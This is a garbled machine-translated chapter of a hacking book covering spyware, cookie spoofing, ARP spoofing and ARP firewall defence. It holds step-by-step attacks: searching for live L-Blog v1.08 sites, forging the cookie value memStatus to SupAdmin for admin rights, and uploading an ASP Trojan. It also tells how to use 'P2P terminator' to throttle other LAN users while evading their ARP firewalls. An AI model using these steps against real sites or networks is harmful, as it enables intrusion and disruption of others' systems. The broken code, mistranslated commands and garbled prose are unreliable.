When the user browse some unhealthy websites or some hacking site, click on some of those links, will be automatically installed in your browser or system spy program. After installation, when a user on the Internet, these spyware can make your browser does not regularly visit their site, or contact your private information and sent to others.

3. Email

Due to email the convenient, quick, also became the target of spyware attention. Now

some spy on the network company, through to the other party to send a greeting card, containing the spyware can easily monitor the online after reading.

Once the spy software installed on the user's computer, and upgrading of an arbitrary command can cause a lot of users' computers become a zombie computer, a puppet of the control of a computer. As a result, users in everyday use, attention should be paid to prevent spyware.

From the general users can do method, to avoid the invasion of the spy software, first get from spyware parasites in three ways: don't go to site to browse unhealthy; Less than informal site to download software; Don't attn. attention stranger send mail. Also can install a firewall to monitor their own system to prevent, not on a regular basis by using the latest version of the anti-spyware software to search, killing.

The third chapter expert class (common problems and solutions)

It seems 1: how to remove the dialog "open" records in the drop-down list?

Answer: the user can "open" in the "run" dialog box drop-down list in the text box input commands to quickly perform the corresponding operation, such as input "CMD" command, can quickly open a command prompt window 】 . And other functions of Windows, "run" dialog in the "open" drop-down list text box can also be some commands used by the user, visited some disk path, and record the IP address, when the next time the user input the same command or path, it will be these users have been input information display in the drop-down list.

Although these records can facilitate the user's operation, but it is also possible that some of the user privacy, therefore, also need to clean up in a timely manner. Specific operation method is as follows:

Steps to open the registry editor window 】 01, the left side of the window, in turn, expand the HKEY_CURRENT_USER \ Software \ Mircrosoft \ Windows \ CurrentVersion \ Explorer \ RunMRU “, in the pane on the right to see the registry entry contains key.

Step 02 to delete all child except "(default)" button and close the registry editor window 】 , restart the computer. When open the "run" dialog box again, can be found that the "open" drop-down list has not recorded in the text box.

It seems 2: how to remove the form and password record

free ebooks ==> www.ebook777.com

Answer: by default, IE browser has the function of “automatically”, it is easy to let out the privacy of users. To protect user information security should be cleaned timely completion history. Specific steps are as follows:

Step 1: open the “Internet options” dialog box, select “contents” TAB, click on the “completion” button.

Step 2: open the dialog box automatically set ☐ , click the “remove form” button, you can remove form record; Click the “remove password” button, you can remove IE password records in the cache.

The first chapter Cookies to cheat

“Cookies” is stored in user’s computer, is used to record the user input in the process of web page access information, save some data files, the user can open and modify it. Cookies attacks mainly divided into two kinds, one kind is Cookies spoofing attacks, another is based on the Cookies injection attacks. Using Cookies spoofing attacks can easily gain administrative privileges, and steal the user’s important information.

10.1.1 know Cookies to cheat

Cookies are when users browse a Web site, put in the hard disk by a Web server is a very small text files, it can record your visitors to visit a particular site information, such as user ID, password, browse the Web pages, the information such as time. When a user once again came to the site, site by reading the Cookies, won the user’s information, can make the corresponding action, such as in page shows welcome your slogan, or don’t need to input the ID and password login directly.

Because Cookies are users browse the site transferred to the user’s computer hard disk in a text file or data in memory, as a result, it is stored in the disk position is closely related to the use of the operating system and browser. In WindowsNT / 2000 / XP computer, Cookies file stored in C: / DocumentsandSettings/user name/Cookies folder.

Most of the information stored in the Cookies are common information, such as every keystroke information and sites visited by address, etc. But many Web site USES Cookies to store for private data, such as registration password, user name, credit card number.

So, when a user being attacked by a malicious attacker, a malicious attacker after get the user's Cookies file will implement information analysis, find out the useful information, and then by means of corresponding crack after can obtain the user's identity or some advanced permissions, and then take advantage of the login user login information implementation, thus successfully for the information they want, the degree of the harm is self-evident naturally.

The principle of 10.1.2 Cookies to cheat

When the computer is cookies spoofing attacks, many administrators don't understand how was your system against invasion. Because although cookies file records the user's account ID and password information, but in the network transmission, cookies are encrypted, and using the MD5 encryption is safe.

Such, after dealing with the encryption of cookies information, even if the attacker seized on the network, can see just some meaningless letters and Numbers. The attacker is stolen by what means the user account, password, and other information?

Essentially the attacker to pretend to be someone else's login web site, do not need to know to intercept cookies file the meaning of the encrypted string, they can be submitted to the server as long as the others' cookies, and can through the server validation is ok.

Can be seen from the above analysis, the cookies deception is to realize the premise of the server validator loophole, and an attacker to obtain cookies by people posing as information. The current network, the attacker to gain others' cookies, support cookies tend to use language to write a small piece of code, and then put this code in want cookies in the network, so that access to the user of this code can steal the cookies, this process is very simple for the attacker.

Here is a login process judgment in a scripting system code, here in this code, for example, to illustrate the cookies to cheat when programming in a script programmer is how to produce, and how attackers get taken advantage of.

...

```
Iflogin = falsethentl = "login failed" mes = mes & ". Return to fill out the "elseResponse.  
Cookies (prefix) (" lgnam") = lgname (prefix "lgnam") = lgname
```

The Response. Cookies (prefix) = LGPWD (" LGPWD ")

The Response. Cookies (prefix) = lgtype (" LGPWD ")

The Response. Cookies (prefix) (" lgcook ") = cookifcook > 0 then

Response. Cookies (prefix) Expires = date + cookendif

...

The meaning of this code is that if the user login fails, the page will return message, tell the user login failed, and guide the user to return to previous page. If the login is successful, the program will be for cookies operation, information will be written into the cookies. If the user's cookies already exists, then the website will read cookies in the system information, such as the expiration time in existing cookies file is the expiration time user cookies.

It is important to note that the site is directly read cookies information in the system. Because the site default cookies information is safe and real, and not to judge.

Because the cookies can be modified locally and fake, therefore, if the above code, run into similar attackers can easily through cookies cheat the invasion of the computer.

10.1.3 Cookies spoofing attacks

Cookies to deceive the typical steps mainly has the following four steps:

(1) find the cookies cheat vulnerabilities of the code.

(2) to obtain permission to the user's local Cookies information immediately.

(3) using the scripting system functioning, administrator or other high access information such as user account.

(4) modify, illegal Cookies, submit information, to cheat the system, for the purpose of the advanced user permissions.

The following through the two case to explain how the attacker is Cookies to cheat.

1. Use IECookiesView Cookies information in the target machine

From the previous section introduces the principle of the Cookies to cheat, the attacker must first obtain the user's Cookies information, can further fraud. In the implementation of deception, hackers make Cookies Cookies directory information is copied to the local computer, recycle "IECookiesView tool" to obtain the Cookie information in the target host.

IECookiesView tool can search and shows all the Cookies in the local computer file data, which is including a website to write Cookies, write time date and information such as the validity of the Cookies. By the software hackers can easily read the target users which recently visited sites, and even can be arbitrary modify the user registration information on the website.

Here use IECookiesView tools for the user's Cookie information operation method:

Step 01 will download IECookiesView tool installed on the computer, then start the software, the tool will automatically scan saved on the local computer in the IE browser Cookies file.

Step 02 in the list to select any one of the Cookies, such as "www.zhongyao365.com", you can see the value in the window at the bottom of the list, domain and expiration time and other information. If display a green tick, says the Cookies are available; If it shows a Red Cross said the Cookies has expired, cannot use.

"Tip"

IECookiesView tools only work in IE browser Cookies, if use other browser to browse web site, Cookies information may vary.

Step 3 in IECookiesView can also edit the key value of Cookies. Right-click in the window at the bottom of the list some key value, in the shortcut menu, select "edit content

of cookies” menu item, you can open the dialog editor cookies content] 【 . In which is the key value of each attribute is reset. => www.ebook777.com

Step 4 in the window at the top of the list to right-click a Cookie information, in the pop-up menu, choose “open platform” menu item, IE browser will automatically using information stored in the Cookies to open the corresponding website.

So, hackers have used these small Cookies successful others privacy information, and can also be used in the BBS name of the other posts.

When input in the browser address bar to access the site, the browser will send a read the Web page to the Web site of the request; In displaying pages at the same time, the server web page at the same time, it will be in the current access to the computer search Settings in the Cookie file, if found in the database to retrieve the user’s login ID, shopping record information, login to confirm; If you cannot find the Cookie file of the corresponding information, the user is browsing the site for the first time, which will prompt the user to use after login. And malicious hackers is to make use of the principle in the user’s Cookie file will implement information analysis, find out useful information.

2. Cookies deception and upload to attack

Simple Cookie spoofing attacks, can get the page background administrator access, sometimes also can help the hacker directly upload ASP Trojan, in order to realize the attack on the whole the purpose of the web server. Below with “L - Blogv1.08 (SE) Build0214 blog program” as an example, introduces how hackers take advantage of loopholes to get its existence of cookies at the front desk administrator privileges, triggering file upload vulnerabilities.

(1) “L - Blog” cookies in cheating vulnerability analysis

Download “L - Blogv1.08 (SE) Build0214” blog program, program include multiple ASP file. In “L - Blogv1.08 (SE) Build0214” an upload loopholes exist in the application to upload files, need to open in Dreamweaver “Attachment. Asp page file upload programs, and find the following code:

```
DimF_File F_FileType, F_FileName
```

```
SetF_File = FileUP. The File (” File “)
```


F_FileName = F_File FileName

F_FileType = Ucase (F_File FileExt)

IFF_File. FileSize > Int (UP_FileSize) Then

Response. Write (" < ahref = 'javascript: history. Go (1); "> file size beyond, please return the upload < / a >")

ElseIFIsvalidFileName (F_FileName) = FalseThen

Response. Write (" < ahref = 'javascript: history. Go (1); "> file name is illegal, please return the upload < / a >")

ElseIFIsvalidFileExt (F_FileType) = FalseThen

Response. Write (" < ahref = 'javascript: history. Go (1); "> file format is illegal, please return the upload < / a >")

Else

IfFSOIsOK=1Then

DimFileIsExists

SetFSO=Server.CreateObject("Scripting.FileSystemObject")

FileIsExists=FSO.FileExists(Server.MapPath("attachments/"&D_Name&"/"&F_Name))

Do

F_Name=Generator(4)&"_"&F_FileName

LoopUntilFSO.FileExists(Server.MapPath("attachments/"&D_Name&"/"&F_Name))=Fal

free ebooks ==> www.ebook777.com

SetFSO=Nothing

Else

F_Name=Generator(4)&"_"&Hour(Now())&Minute(Now())&Second(Now())&"_"&F_Fil

EndIf

Due to the above code to the file path variable filter is lax, so cause file upload the existence of loopholes. And before uploading files require verification, validation of specific implementation code is as follows:

Server.ScriptTimeout=999

If(memName<>EmptyAndMemCanUP=1)Or(memStatus="SupAdmin"OrmemStatus="Ac

DimUP_FileType,UP_FileSize

IfmemStatus="SupAdmin"OrmemStatus="Admin"Then

UP_FileType=Adm_UP_FileType

UP_FileSize=Adm_UP_FileSize

Else

UP_FileType=Mem_UP_FileType

UP_FileSize=Mem_UP_FileSize

EndIf

Can be seen from the above code before uploading files need to verify, and validate mainly through “IfmemStatus =” SupAdmin OrmemStatus “=” Admin “Then” code implementation. The code above role is to test whether “memStatus” value is “SupAdmin” or “Admin”, if you can upload files.

See below to “MemStatus” parameter. Open the blog in Dreamweaver “common.d. Asp file” on the website, and find something to authenticate users “cookies” the implementation of the code.

```
IfmemName<>EmptyThen
```

```
DimCheckCookie
```

```
SetCheckCookie=Server.CreateObject(“ADODB.RecordSet”)
```

```
SQL=“SELECTmem_Name,mem_Password,mem_Status,mem_LastIPFROMblog_Memb
```

```
CheckCookie.OpenSQL,Conn,1,1
```

```
SQLQueryNums=SQLQueryNums+1
```

```
IfCheckCookie.EOFANDCheckCookie.BOFThen
```

```
Response.Cookies(CookieName)(“memName”)=””
```

```
memName=Empty
```

```
Response.Cookies(CookieName)(“memPassword”)=””
```

```
memPassword=Empty
```

```
Response.Cookies(CookieName)(“memStatus”)=””
```

memStatus=Empty [free ebooks ==> www.ebook777.com](http://www.ebook777.com)

Else

IfCheckCookie("mem_LastIP")<>Guest_IPOrIsNull(CheckCookie("mem_LastIP"))Then

Response.Cookies(CookieName)("memName")=""

memName=Empty

Response.Cookies(CookieName)("memPassword")=""

memPassword=Empty

Response.Cookies(CookieName)("memStatus")=""

memStatus=Empty

EndIf

EndIF

CheckCookie.Close

SetCheckCookie=Nothing

Else

Response.Cookies(CookieName)("memName")=""

memName=Empty

```
Response.Cookies(CookieName)("memPassword")=""
```

```
memPassword=Empty
```

```
Response.Cookies(CookieName)("memStatus")=""
```

```
memStatus=Empty
```

```
EndIF
```

The above code is mainly used to validate user input user name is table in the database administrator. If there will be the user's Cookie information written to the memStatus and several other logo.

And write the identity information and may have been calls by the following code:

```
DimmemName,memPassword,memStatus
```

```
memName=CheckStr(Request.Cookies(CookieName)("memName"))
```

```
memPassword=CheckStr(Request.Cookies(CookieName)("memPassword"))
```

```
memStatus=CheckStr(Request.Cookies(CookieName)("memStatus"))
```

After a successful call will pass the result to upload program, and then to upload permissions. User permissions from the whole validation process, the information provided by the cookies, all below the realization of a user name and password verification code:

```
IFmemName<>EmptyANDSession ( "GuestIP" ) <>Guest_IPThen
```

```
DimCheckCookie
```

```
SetCheckCookie=Server.CreateObject("ADODB.RecordSet")
```

```
SQL="SELECTmem_Name,mem_Password,mem_Status,mem_LastIPFROMblog_Memb

CheckCookie.OpenSQL,Conn,1,1

SQLQueryNums=SQLQueryNums+1

IfCheckCookie.EOFANDCheckCookie.BOFThen

Response.Cookies(CookieName)("memName")=""

memName=Empty

Response.Cookies(CookieName)("memPassword")=""

memPassword=Empty

Response.Cookies(CookieName)("memStatus")=""

memStatus=Empty

Else

IfCheckCookie("mem_LastIP")<>Guest_IPOrIsNull(CheckCookie("mem_LastIP"))Then

Response.Cookies(CookieName)("memName")=""

memName=Empty

Response.Cookies(CookieName)("memPassword")=""

memPassword=Empty
```

```
Response.Cookies(CookieName)("memStatus")=""
```

```
memStatus=Empty
```

```
EndIf
```

```
EndIF
```

```
CheckCookie.Close
```

```
SetCheckCookie=Nothing
```

```
Else
```

```
Response.Cookies(CookieName)("memName")=""
```

```
memName=Empty
```

```
Response.Cookies(CookieName)("memPassword")=""
```

```
memPassword=Empty
```

```
Response.Cookies(CookieName)("memStatus")=""
```

```
memStatus=Empty
```

```
EndIF
```

To the user and password judgment process is: if the user Cookie information in memName value is not empty, just from the database to verify the user name and password, if validation errors, empty Cookie information. The validator did not consider MemName is empty, if MemName is empty, the Cookie information is not clear.

Due to the file upload page only for memStatus verification, hackers will manually change the value of the “SupAdmin” or “Admin” can have upload permissions.

(2) the use of cookies to cheat for upload permissions

Search on the net “PoweredbyL - BlogV1.08” program, can search to a lot of use “L - BlogV1.08 (SE) Build0214” the blog of the program. Due to these sites on the upload a loophole, therefore, can use cookies to cheat to obtain the website upload permissions. Below to search on the Internet to any one use “L - Blogv1.08 (SE) Build0214” program of blog sites, for example, introduces the concrete operation of the Cookie deceive attack method.

Steps to open the search to 01 blog site, enter the home page, click the “register” button in the “user login” area, register a new user.

Step 02 enter the page of “user registers”, in which “shuangyuzuo7”, enter the user name password “123456” and E-mail. Click the “submit” button, you can successfully registered the users log on to the blog and website.

Step 3 download and run “veteran Cookies cheating tools”, in the address bar, type the blog website login interface address, and click “connect” button, can show “login successful” interface. In “Cookies” veteran cheating tools “Cookies” in the text box in the main window to see the current page Cookie information:

Loveyuki % 5 FZZWB = memPassword = E10ADC3949BA59ABBE56E057F20F883E & memStatus = Member&memName = shuangyuzuo7; ASPSESSIONIDSCQCDRRB = NOJMGPADFOCHCOFAABOJJMOM, which contains the information such as login user name and password. Hackers can modify Cookie information and cheat Blog program, make its think the logged in user’s identity is the administrator.

Step 4 click in the toolbar button, set the custom of Cookies 】 【 the Cookie information can be modified. “MemStatus = Member from the Cookie information &” changed to “memStatus = SupAdmin” or “memStatus = Admin”.

Step 5 continue to set the custom of Cookies 】 【 press the button, exit the current user login, to open the Blog’s front page, though this time not logged in, but have administrator privileges.

After get administrator privileges, hackers can use special vulnerability to upload tool upload ASP Trojan to Blog on the server, and attacks on web sites.

Second chapter in the LAN ARP deception and prevention

In the local area network (LAN), through the ARP protocol can complete IP address into the second physical address (MAC address). ARP deception was achieved by forged IP address and MAC address, the ability to produce lots of ARP traffic network to network congestion. In order to prevent the computer from the ARP deception, the users should also master some of the software method of use, use them to intercept the ARP attack.

10.2.1 know ARP

ARP is the abbreviation of “AddressResolutionProtocol”, namely the address resolution protocol, it is a kind of IP addresses into physical addresses. In TCP/IP network environment, each host is assigned a 32-bit IP address, this is the Internet address in the range of identification host a logical addresses.

In order to transmit a message on the physical network, must know each other to host physical addresses. This is the IP address into physical address conversion issues. Specifically, the ARP is to the network layer (IP layer, the third layer of the OSI) address resolution for the data link layer (the second floor of the MAC layer, equivalent to the OSI) MAC address.

The actual transmission in local area network (LAN), a network is a “frame”, frame with the target host MAC address. In Ethernet, one host to another host and direct communication, in addition to want to know the target host network layer logical address (such as IP address), also must want to know the target host MAC address.

And the destination MAC address is obtained from the address resolution protocol. About the meaning of “address resolution”, it can be explained, is the host before sending the frame and the target IP address into a destination MAC address of the process.

10.2.2 ARP working principle

In able to normal access to the Internet computer, fitted with TCP/IP protocol, the computer has an ARP cache table, list of IP address and MAC address is one-to-one.

Working principle of ARP protocol. If the IP address for 192.168.1.3 A host A to host IP address for 192.168.0.7 B to send data, then host A will to query the local ARP cache table first, find the IP address of the host B if the corresponding MAC address 00-73-44-60 db - 69, will be for data transmission. But if there is no goal in the ARP cache table of IP address, host A will send A broadcast on the Internet, A host MAC address is “aa - 01-75-00 - c3-06”, which means that the send this to all the hosts within the same network segment of ask: “I am 192.168.1.3, my physical address is” aa - 01-75-00 - c3-06 “, what is the IP address for 192.168.0.7 MAC address?” All hosts on the network including host B received the ARP request, but only the IP address of the host B to identify himself, so he sends A host sends an ARP reply packet, tell the host A MCA address it is 00-73-44-60 db - 69.

Host A know the MAC address of host B, can for data transmission, at the same time, also will update the local ARP cache table. When host A to B to send data again, you can directly in the ARP cache table to find the MAC address of host B, use it to send data.

Therefore, the local cache of the ARP table is the basis of the circulation of the local network, and the cache is dynamic. ARP table using the aging mechanism, will be automatically deleted in a period of time has not used the IP and MAC address mapping relationship, this can greatly reduce the length of the ARP cache table, accelerate query speed.

10.2.3 how to view and remove the ARP table

Under the Windows to see the ARP cache information is the most simple way is done through CMD command line.

At the command prompt window in the command prompt type the command “asp”, you can view the contents of the ARP cache table.

Not only can view the ARP cache table, can also according to need to modify or remove the contents of the ARP table. In which the command prompt, type the command “arp - d + space + < IP address > specified”, can delete specified IP’s content; “Arp - d” in which input command, you can delete the arp cache list all of the content; In which type the command “arp -s”, can be manually in the arp table to specify the IP address and MAC address of the corresponding type of static (static).

This is not stored in the ARP cache table, but stored in hard drive, restart the computer still exists, and follow the principle of static is superior to the dynamic, as a result, this

setting is very important. If the setting is not correct, may lead to users can't get to the Internet.

The phenomenon of 10.2.4 encounter ARP attack

Encounter ARP spoofing attacks the consequence is very serious, in most case, it will cause large drops. When running in a network host ARP cheat trojans, will cheat in all hosts and network security gateway, let all Internet traffic must pass through the host of the virus. This can lead to users in a network drops suddenly, after a period of time and will be back to normal.

During this period, the user's host also may appear frequently broken network, Internet explorer error frequently and some of the commonly used software to malfunction, and so on and so forth. If in the local area network (LAN), identity authentication is through the Internet, will suddenly appear to certification, but can't get to the Internet phenomenon (unable to ping the gateway), restart your computer, or type the command in the command prompt window, after the "arp - d" can restore access to the Internet again. In general, after the encounter ARP spoofing attacks, there will be several situation described above, but if severe cases, can also lead to the entire network paralysis.

Using local area network (LAN) some users encounter the above situation, often think that the PC is no problem, switches and no drops "skill". And if the user encounter ARP spoofing attacks is of type of router ARP cheat, so, as long as the user to restart the router, can make the network back to normal.

In this way, without Internet users think that would be caused by the culprit is the router. Actually otherwise, through the analysis of the above, know the cause of this phenomenon is actually by ARP spoofing attacks.

In addition, once the ARP deception Trojan attacks in the computer, in addition to the above phenomenon to appear in computer network, the attacker can also use the Trojan steal the user's password, such as stealing QQ passwords, all kinds of network game password, and account number to make money trading, theft online bank account to do the illegal activity, etc., this is the old trick, Trojan will caused great inconvenience to users and huge economic losses.

10.2.5 principle of ARP spoofing attacks

As a result of the LAN network flow is not according to the IP address, but shall be

carried out in accordance with the MAC address. So, the fake MAC address be changed into one does not exist in A MAC address, this will cause the network impassability, lead to A can't Ping C, this is the ARP deception.

ARP cheat off easy to cause the client network, data sniffer. From the point of the way of influence network unobstructed, ARP deception can be divided into two kinds: one kind is the router ARP deception, the other is a gateway to cheat on network PC.

The following respectively introduces both the principle of ARP deception.

1. The deception of router ARP table

Cheat principle of router ARP table is intercepted data gateway. A series of wrong it notifies the router network MAC address, and according to certain frequency, make the real cannot by updating the address information stored in the router, the router all the data can only be sent to the wrong MAC address. Because the gateway MAC address errors, so the data from a computer from the network can't normal to the gateway, nature also can't normal surfing the Internet.

2. The gateway of network PC cheat

The Intranet gateway cheat principle of PC fake gateway. That is to say, this kind of ARP deception will first establish fake gateway, to be deceived by it's PC to send data to the fake gateway, rather than through normal routers way to get to the Internet. In this way, the network on the PC will think of the net.

10.2.6 process of ARP deception

The following in a network of ARP spoofing attacks, for example, introduces the process of ARP deception.

If the LAN switches connect within 3 computers, computer A, B, C respectively. Including A IP address for 192.168.0.6, MAC address is 00-1 e - 17 - BO - 8 B, 8 C - B IP address for 192.168.0.9, MAC address of 00 - e0-4 C - 00-53 - e8, the IP address of the C for 192.168.0.12, MAC address for 15-58-89-00 - f7 - b1.

Before not receive ARP spoofing attacks, open A command prompt window in A

computer, run the command “ARP -a” query ARP cache table, should have the following information:

Interface: 192.168.0.7-020002

InternetAddress	PhysicalAddress	Type
-----------------	-----------------	------

192.168.0.12	00-15-58-00-f7-b1	dynamic
--------------	-------------------	---------

Run on the computer B ARP cheat program, send A A faked ARP response, and the data in the response is the IP address of the C 192.168.0.12, MAC address is 08-00 - e - 73-2 d - 2 BA (C MAC address was 15-58-89-00 - f7 - b1, here was A fake MAC address). When A received B faked ARP reply, will update the local ARP cache. Don't know the response from B send come over, there is only A 192.168.0.12 (C IP address) and invalid 08-00 - e - 73-2 d - 2 BA (fake MAC address).

When A computer is A ARP spoofing attacks, then run on A computer “ARP -a” command to query the ARP cache information, will find that information has been an error at this time, become as shown in the following information:

Interface: 192.168.0.7-020002

InternetAddress	PhysicalAddress	Type
-----------------	-----------------	------

192.168.0.12	08-00 - e - 73-2 d - 2 BA	dynamic
--------------	---------------------------	---------

Through the above information as you can see, in the use of network to transmit data, although transmission by IP address, but in the end also need through the ARP address translation, converts IP addresses to MAC addresses.

And the computer in the example above A C MAC address has received about computer errors, so even from A computer after A visit this IP address of the computer C, will also be parsed into ARP agreement wrong MAC address 08-00 - e - 73-2 d - 2 BA (fake MAC address).

10.2.7 use “P2P terminator” control LAN

P2P terminator is a local area network (LAN) control software, its main function is to control and limit the same local area network (LAN) in other Internet users, for example, limit to others on QQ, don't let other people browsing the web and download information. As long as computer users, and you are in the same local area network can control him, and as long as installed on the computer running "P2P terminator" can achieve the function of the described earlier. It is important to note that "P2P terminator" itself is a hacker software, therefore, before use, need to close the local computer firewall, including ARP firewall.

Look at the below with "P2P terminator" method to control the local area network (LAN).

Step up and running in the computer 01 "4.13" P2P terminator, automatically open the "system Settings" dialog box, enter the interface of the software configuration (before using the software to configure). Stay in "please select a connection to the control segment of the network card" drop-down list, select your network card to connect to the Internet, at this time will be displayed below the current IP address, network card MAC address and subnet mask, gateway address, etc.

Step 02 to switch to the "control Settings" TAB, in which the selected "the software to start automatically after open control network" check box. To prevent uncontrolled new host access, need to check the "find new host automatically to control the" check box. In order to avoid the installation of others' ARP firewall detected are using P2P terminator, still need to check the "enable inverse ARP protective wall track model" check box. After checked, the other ARP firewall will not be able to find the ARP attack IP address, but still would be able to stop the control of P2P terminator.

Step 3 click [sure] button, return to P2P terminator in 4.13 the main interface. Click the "launch control" over the interface button, you can start control service.

Step 4 click button, scanning the network 】 【 after a moment, can automatically display working inside the computer over the Internet, can be seen clearly from the host list each host in the LAN bandwidth usage.

If you want to host list for a user, can follow the steps below.

Step 01 first create a time plan, also is set at run time what rules. On the left side select "system Settings - > time plan Settings" option, you can open the schedule Settings dialog 】 .

Step 02 click [new] button, then the pop-up dialog time scheme. In the program name please input time plan name text box input, and in the following period of selected to take effect.

Step 3 to create this time plan corresponding control rules. In the left side of the main screen select “system Settings - > control rules Settings” option, you can open the dialog control rules set 【 】 .

Step 4 click on the [new] button to open the rule name 【 】 dialog. Name of “the rules of” please enter a name text box input rules, and in “rules for the selected a time plan” drop-down list, select a time plan, choose just created schedule here.

Step 5 set broadband limit value. Click “next” button, in the pop-up dialog box to set the bandwidth limit bandwidth limitations 【 】 data.

“Tip”

By default, 2 mads1 broadband descending speed is 512 KB/S, here recommend limiting 50 k

B/S, or in 2 mads1 broadband is equivalent to no limit.

Step 6 set P2P download limit. Click “next” button, in the pop-up dialog box you can see the P2P download limit 【 】 contains download tools, network video tools, and using bandwidth more software, in which the choice to limit the P2P download.

Step 7 set im restrictions. Click “next” button, in the pop-up dialog box to choose im limit 【 】 want to limit the instant communication tools, such as QQ or fetion.

Step 8 limit the use of IE directly download file type. Click “next” button in the dialog box ordinary download limit 【 】 to limit can be added to download the file type.

Step 09 click “please enter your hope no HTTP download file suffix” list box on the right side of the “add” button in the dialog input file extension input 【 】 to add file suffix, such as exe.

Step 10 according to the same method, add the other to prohibit HTTP download file suffix, such as zip, rar etc., and then click [sure] button, return to the normal download limit 【 dialog box. In which you can see the add HTTP download file suffix is prohibited.

Step 11 set the WWW access restrictions. Click “next” button, in the pop-up dialog WWW access restrictions 【 can set the WWW access restrictions (web). If select “use rules limit WWW access” option, it can be set to browse or can’t browse the web site of white/black, also can let accused the host can’t browse the web.

Step 12 set ACL rules. Click “next” button, in the pop-up dialog ACL rules set up 【 click [new] button, where you can customize Settings need to control protocol type and port range.

Step 13 after good rule editor, click the “complete” button. Left in the main interface to choose “system information - > network hosts list” option, select the need to control the host in the on the right side of the screen and right click on the pop-up menu, select the menu items for the selected host rules 【 .

Step 14 open dialog box, and control rules to assign 【 in “please choose one you want to assign the control rules of” drop-down list, select a need to apply to the regulation of the host, “rule 1” here to choose just created. At this point, you can use to set the rules drawn up in time to control the host networking activities.

To a host after implementation of the control, each other even when using thunderbolt download to reach the speed of the top 50 KB/S.

10.2.8 ARP attack protection method

In network management, IP address embezzlement phenomena often occur, not only affect the normal use of the network, will cause potential safety hazard to the user’s information. Therefore, in order to prevent a breach of the IP address, the maximum to avoid the happening of this kind of phenomenon, can take some protective measures, such as the IP address and the network card address to bind, using ARP protection software, etc.

1. Static binding

At the time of host assign IP addresses, if will be static IP and MAC binding, can

effectively prevent a breach of the IP address. Because the ARP deception by the rules of the dynamic real-time ARP cheat network machine, as long as the set to the static ARP that can solve the network PC of deception, also the gateway to the IP and MAC static binding, such two-way binding to more insurance. Here is the host IP and MAC address for static binding method.

Step 01 open a command prompt window, type the command “arp - sIP addresses the MAC address, IP address and MAC address binding can be realized, such as” arp - e s192.168.0.700-1-8-17 - BO - 8 b c “.

In which step 02 at this point, type the command “arp - a”, if just the binding set success, will see on PC related clew:

```
InternetAddressPhysicalAddressType
```

```
E 192.168.0.700-1-8 c - 17 - BO - 8 bstatic (static).
```

If no IP address and MAC address binding, in under the condition of dynamic, type the command “arp - a”, will see the following prompt: on the PC

```
InternetAddressPhysicalAddressType
```

```
E 192.168.0.700-1-8 c - 17 - BO - 8 bdynamic (dynamic)
```

Described above method bindings in the network one or several hosts more convenient, but if there are a lot of hosts in the network, such as 300 or 800 units, so that each one to do static binding, workload is very big. And the static binding, after every time to restart the computer, they must rebind and effective.

2. Using ARP protection software

ARP on the network protection software, introduced here is AntiARP (formerly named AntiARPSniffer), the latest version software for ARP firewall stand-alone version 6.0.1 version and ARP firewall online V3.2.3.

ARP firewall intercept fake ARP packets through the system kernel layer and active notice MAC address of gateway this machine correctly, can guarantee the data flow to the right,

without going through a third party, so as to ensure smooth communication data safety, ensure network, guarantee the communication data is not controlled by a third party, solve the network often drops, speed is slow, and so on and so forth.

The use of the online edition of the ARP firewall V3.2.3 is described below. First to choose a good performance computer installation ARP firewall online management side, then you also need to install the client, so that the computer can be protected.

(1) the client group management

Before using ARP firewall online protection within the LAN computer, need to add the group under the client first. The specific operation method is as follows:

Steps in a computer installed 01 ARP firewall management end and run the software, in the main interface on the left side of the “all clients” - > right click “default” option, in the pop-up menu, select “add group” menu item.

Open step 02 [add] group dialog box, in the text box input to add the name of the group.

Step 3 click the “OK” button, you can add the group A. Select client management 【 to 】 【 IP address management, “group A” menu item, open the “IP address management - group A” dialog box, now the default join in the group A. At the beginning of the “IP” and “end” IP text box input the IP address of the corresponding respectively.

Step 4 click the “add” button, at this point, can pop up [access] dialog box, prompt the user whether to add the IP address to “group A” group.

Step 5 click 【 is 】 button, can add the IP address to the IP address management - group A 【 dialog box. To delete one IP address, which can be selected after the IP address right-click on it, and on the shortcut menu, select “delete IP address” menu item, you can delete.

2. The client configuration parameters

“Group A” under the condition of the client to add the IP address, also need to the client configuration parameters. The specific operation method is as follows:

Step 01 select **【 】** the client management - the client configuration parameters **】**
【 - “group A” menu item, open the client parameters configuration - group A **】**
【 dialog. Default option “conventional” TAB, in which you can set the “display configuration” and “run configuration”. Uncheck the “inherit global configuration” check box, do not inherit the global configuration, only alone for group A special configuration. In addition, suggest select the column of “automatic minimized to the system, and” hidden no data page “, “the program is running automatically after began to protect” check box.

Step 02 to switch to the [network] TAB, the same uncheck “inherit global configuration” check box. Which proposed to the “gateway IP/MAC” set to “automatically”, if before the ARP firewall client startup, the system has been under attack, automatic access to the gateway MAC is likely to be false. In this case, the suggested manually specify the gateway IP and MAC. According to the conditions set IP and port ”” management end, here you can set the two.

Step 3 select “security” TAB, and uncheck “inherit global configuration” check box, in the “password protected” option area can set the password, the password can be used in a program uninstall, program exits, hidden interface exhaled, parameter configuration of four places, other options to keep the default Settings.

Step 4 choice “routing” TAB, the reliable routing detection can detect the attacker to forward packets, to intercept and start the active defense, so as to ensure the data security. Users can according to the need in the “trusted routing” option area choose the option to test, in addition, can also be manually add a credible routing in addition to the gateway, but the default gateway IP/MAC considered reliable routing, if in addition to the default gateway, there is no other route, do not need to manually add the.

Step 5 to switch to the “defense” TAB, in the “active defense” area, select the “alert” option, so don’t send the machine to the gateway the correct MAC address, status to “alert - on standby”. When the machine is being detected ARP attack, the state switch to “alert - activate defense”, to the MAC address of gateway to send the machine right, to ensure that the network will not interrupt. Lasts 10 seconds didn’t detect attack, state from “alert - activate defense” switch back to the “alert - on standby,” stop the contract.

Step 6 to switch to the attack to intercept **】 【** TAB, in the “ARP suppression” area check “suppress send ARP” check box, so that when the speed of the machine to send ARP packet exceeds the threshold, ARP firewall will start the interceptor. In general, the speed of the machine to send ARP should not exceed 10 per second.

Step 7 to select the “intercept along with all the hair off ARPReply” checkbox, so if the intercept the machine send ARPReply, other machines will not be able to get your MAC

address, will not be able to take the initiative to get in touch with your machine, but your machine can take the initiative to contact other machines.

free ebooks => www.ebook777.com

3. Management side parameter configuration

After setting up the client configuration parameters, but also need to set up the management end parameter configuration. Select “tools” - > menu items, parameters configuration management end】 【can open management side parameter configuration dialog】 . Including “normal”, “flow control”, attack monitoring, alarm Settings】 【】 , 【upgrade control】 TAB, the following for each of these five Settings TAB.

(1) the “regular” TAB

